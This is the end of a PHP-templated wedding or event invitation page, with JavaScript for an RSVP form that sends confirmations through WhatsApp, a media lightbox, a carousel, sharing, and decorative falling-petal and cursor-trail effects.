document.querySelectorAll('[data-close]').forEach(b=>{b.addEventListener('click',()=>closeModal(b.dataset.close))}); document.querySelectorAll('.modal').forEach(m=>{m.addEventListener('click',e=>{if(e.target===m)closeModal(m.id)})}); const rsvpConfirm=document.getElementById('rsvpConfirm'),rsvpNameGroup=document.getElementById('rsvpNameGroup'),rsvpGuestsGroup=document.getElementById('rsvpGuestsGroup'),rsvpName=document.getElementById('rsvpName'),rsvpGuests=document.getElementById('rsvpGuests'); rsvpConfirm.addEventListener('change',e=>{if(e.target.value==='No asistiremos'){rsvpNameGroup.classList.add('rsvp-hidden');rsvpGuestsGroup.classList.add('rsvp-hidden');rsvpName.removeAttribute('required');rsvpGuests.removeAttribute('required')}else{rsvpNameGroup.classList.remove('rsvp-hidden');rsvpGuestsGroup.classList.remove('rsvp-hidden');rsvpName.setAttribute('required','true');rsvpGuests.setAttribute('required','true')}}); document.getElementById('rsvpForm').addEventListener('submit',ev=>{ ev.preventDefault(); const cs=rsvpConfirm.value; const n=rsvpName.value.trim(); const g=rsvpGuests.value; const title='<?= addslashes(e($hero['name'])) ?>'; let msg=''; if(cs==='No asistiremos'){ msg=`<?= addslashes($S['whatsapp_msg_no'] ?? '¡Hola! Lamentablemente no podremos asistir a los eventos de [TITULO]. Les enviamos nuestros mejores deseos.') ?>`; } else { msg=`<?= addslashes($S['whatsapp_msg_yes'] ?? "¡Hola! Confirmo mi asistencia a los eventos de [TITULO].\n\n*Estado:* [CONFIRMACION]\n*Nombres:* [NOMBRE]\n*Cantidad:* [CANTIDAD]") ?>`; } msg = msg.replace(/\[TITULO\]/g, title) .replace(/\[NOMBRE\]/g, n) .replace(/\[CANTIDAD\]/g, g) .replace(/\[CONFIRMACION\]/g, cs); fetch('api.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=save_rsvp&names='+encodeURIComponent(n||'')+'&guests_count='+encodeURIComponent(g||1)+'&status='+encodeURIComponent(cs)}); window.open('https://wa.me/'+WHATSAPP_NUMBER+'?text='+encodeURIComponent(msg),'_blank'); closeModal('rsvpModal'); ev.target.reset(); rsvpNameGroup.classList.remove('rsvp-hidden'); rsvpGuestsGroup.classList.remove('rsvp-hidden'); rsvpName.setAttribute('required','true'); rsvpGuests.setAttribute('required','true'); }); function openGallery(idx) { state.currentGalleryIndex = idx; updateLightbox(); lightbox.classList.add('open'); body.classList.add('locked'); } function updateLightbox() { const item = galleryData[state.currentGalleryIndex]; const type = item.media_type || 'image'; // Reset lightboxImage.style.display = 'none'; lightboxVideo.style.display = 'none'; lightboxVideo.pause(); if(type === 'video') { lightboxVideo.src = item.image_path; lightboxVideo.style.display = 'block'; // lightboxVideo.play(); // Opcional: auto-play al navegar } else { lightboxImage.src = item.image_path; lightboxImage.style.display = 'block'; } // Update thumbs active state document.querySelectorAll('.thumb-item').forEach((thumb, idx) => { thumb.classList.toggle('active', idx === state.currentGalleryIndex); if(idx === state.currentGalleryIndex) thumb.scrollIntoView({ behavior: 'smooth', block: 'nearest', inline: 'center' }); }); } function changeMedia(idx) { state.currentGalleryIndex = idx; updateLightbox(); } function nextMedia() { state.currentGalleryIndex = (state.currentGalleryIndex + 1) % galleryData.length; updateLightbox(); } function prevMedia() { state.currentGalleryIndex = (state.currentGalleryIndex - 1 + galleryData.length) % galleryData.length; updateLightbox(); } function closeLB(){ lightbox.classList.remove('open'); lightboxImage.src=''; lightboxVideo.pause(); lightboxVideo.src=''; if(!document.querySelector('.modal.open')&&overlay.classList.contains('hidden'))body.classList.remove('locked') } document.getElementById('closeLightbox').addEventListener('click',closeLB); lightbox.addEventListener('click',e=>{if(e.target===lightbox)closeLB()}); document.addEventListener('keydown',e=>{if(e.key==='Escape'){document.querySelectorAll('.modal.open').forEach(m=>m.classList.remove('open'));closeLB();if(overlay.classList.contains('hidden'))body.classList.remove('locked')}}); // Carousel (function(){const s=document.querySelectorAll('.carousel-slide'),d=document.querySelectorAll('.carousel-dot');if(!s.length)return;let c=0,iv;function go(i){s[c].classList.remove('active');d[c].classList.remove('active');c=(i+s.length)%s.length;s[c].classList.add('active');d[c].classList.add('active')}function start(){iv=setInterval(()=>go(c+1),3500)}d.forEach((dot,i)=>{dot.addEventListener('click',()=>{go(i);clearInterval(iv);start()})});start()})(); async function shareApp() { const shareTitle = '<?= addslashes(e($S['share_title'] ?? '¡Estás Invitado!')) ?>'; let shareText = `<?= addslashes(e($S['share_text'] ?? '¡Hola! Te comparto la invitación oficial.')) ?>`; const shareUrl = window.location.origin + window.location.pathname; const fullText = `${shareText}\n\n👉 Mira los detalles aquí: ${shareUrl}`; if (navigator.share) { try { await navigator.share({ title: shareTitle, text: fullText, url: shareUrl }); } catch (err) { console.log('Error sharing:', err); } } else { // Fallback: WhatsApp window.open(`https://wa.me/?text=${encodeURIComponent(fullText)}`, '_blank'); } } // Special Effects System (function(){ const cv=document.getElementById('petalCanvas'),cx=cv.getContext('2d'); const effectType = '<?= $S['special_effects_type'] ?? 'flowers' ?>'; if(effectType === 'none') return; const PC=effectType === 'snow' ? 40 : 25; let ps=[],W,H; const CONFIG = { flowers: { colors: ['#ffb6c1','#ffa0b4','#e6b4aa','#ffc8d2','#f0a0be'], count: 22 }, hearts: { colors: ['#ff4d6d','#ff758f','#c9184a','#ff8fa3','#ffb3c1'], count: 20 }, stars: { colors: ['#ffd700','#fff700','#ffdf00','#ffe135','#fafad2'], count: 25 }, snow: { colors: ['#ffffff','#f8f9fa','#e9ecef','#dee2e6','#f1f3f5'], count: 45 }, confetti: { colors: ['#ff0000','#00ff00','#0000ff','#ffff00','#ff00ff','#00ffff'], count: 30 }, leaves: { colors: ['#2d6a4f','#40916c','#52b788','#74c69d','#95d5b2','#d8e2dc'], count: 20 }, bubbles: { colors: ['rgba(173,216,230,0.4)','rgba(240,248,255,0.3)','rgba(224,255,255,0.4)'], count: 18 } }; const cfg = CONFIG[effectType] || CONFIG.flowers; function rz(){W=cv.width=innerWidth;H=cv.height=innerHeight} addEventListener('resize',rz);rz(); function mk(){ return { x: Math.random()*W, y: Math.random()*H-H, r: effectType === 'stars' ? 3+Math.random()*4 : 6+Math.random()*9, color: cfg.colors[Math.floor(Math.random()*cfg.colors.length)], speed: 0.6+Math.random()*1.4, swing: 0.4+Math.random()*0.8, so: Math.random()*Math.PI*2, ss: 0.012+Math.random()*0.02, rot: Math.random()*Math.PI*2, rs: (Math.random()-.5)*0.04, opacity: 0.55+Math.random()*0.45, type: effectType } } for(let i=0;i<cfg.count;i++){ const p=mk(); p.y=Math.random()*H; ps.push(p) } function dp(p){ cx.save(); cx.translate(p.x,p.y); cx.rotate(p.rot); cx.globalAlpha=p.opacity; cx.fillStyle=p.color; cx.beginPath(); switch(p.type) { case 'hearts': const sw = p.r * 1.5; cx.moveTo(0,0); cx.bezierCurveTo(-sw/2, -sw/2, -sw, sw/2, 0, sw); cx.bezierCurveTo(sw, sw/2, sw/2, -sw/2, 0, 0); break; case 'stars': for(let i=0;i<4;i++){ cx.rotate(Math.PI/2); cx.lineTo(0, p.r*1.5); cx.lineTo(p.r*0.3, 0); } break; case 'snow': cx.arc(0,0,p.r*0.6,0,Math.PI*2); break; case 'confetti': cx.rect(-p.r/2, -p.r/4, p.r, p.r/2); break; case 'leaves': cx.ellipse(0, 0, p.r*0.4, p.r, 0.4, 0, Math.PI*2); break; case 'bubbles': cx.strokeStyle = p.color; cx.lineWidth = 1; cx.arc(0,0,p.r*0.8,0,Math.PI*2); cx.stroke(); break; default: // flowers cx.ellipse(0,-p.r*.8,p.r*.55,p.r,0,0,Math.PI*2); cx.fill(); cx.globalAlpha=p.opacity*.35; cx.fillStyle='rgba(255,255,255,.9)'; cx.beginPath(); cx.ellipse(-p.r*.15,-p.r*.9,p.r*.22,p.r*.38,-.4,0,Math.PI*2); } cx.fill(); cx.restore(); } (function lp(){ if(document.hidden){requestAnimationFrame(lp);return} cx.clearRect(0,0,W,H); if(!document.documentElement.classList.contains('dark') || effectType === 'snow' || effectType === 'stars') { for(const p of ps){ p.so+=p.ss; p.x+=Math.sin(p.so)*p.swing; p.y+=p.speed; p.rot+=p.rs; if(p.y>H+20){ Object.assign(p,mk()); p.y=-20 } dp(p); } } requestAnimationFrame(lp); })(); })(); // Cursor trail (function(){const cv=document.getElementById('cursorCanvas'),cx=cv.getContext('2d');let W,H;const st=[];const SC=['#c5a880','#e8c4c8','#a385a6','#f0d5a0','#ffb6c1','#d4b896'];function rz(){W=cv.width=innerWidth;H=cv.height=innerHeight}addEventListener('resize',rz);rz();addEventListener('mousemove',e=>{if(document.documentElement.classList.contains('dark')||document.hidden)return;if(Math.random()>0.4){st.push({x:e.clientX+(Math.random()-.5)*14,y:e.clientY+(Math.random()-.5)*14,r:2+Math.random()*4,alpha:.9,color:SC[Math.floor(Math.random()*SC.length)],vx:(Math.random()-.5)*1.5,vy:-.8-Math.random()*1.4})} });(function lp(){if(document.hidden){requestAnimationFrame(lp);return}cx.clearRect(0,0,W,H);for(let i=st.length-1;i>=0;i--){const s=st[i];s.x+=s.vx;s.y+=s.vy;s.alpha-=.026;s.r*=.97;if(s.alpha<=0){st.splice(i,1);continue}cx.save();cx.globalAlpha=s.alpha;cx.fillStyle=s.color;cx.beginPath();for(let p=0;p<4;p++){const a=(p/4)*Math.PI*2,ah=a+Math.PI/4;cx.lineTo(s.x+Math.cos(a)*s.r,s.y+Math.sin(a)*s.r);cx.lineTo(s.x+Math.cos(ah)*s.r*.4,s.y+Math.sin(ah)*s.r*.4)}cx.closePath();cx.fill();cx.restore()}requestAnimationFrame(lp)})()})(); </script> </body> </html>
Coded With 💗 by
0x6ick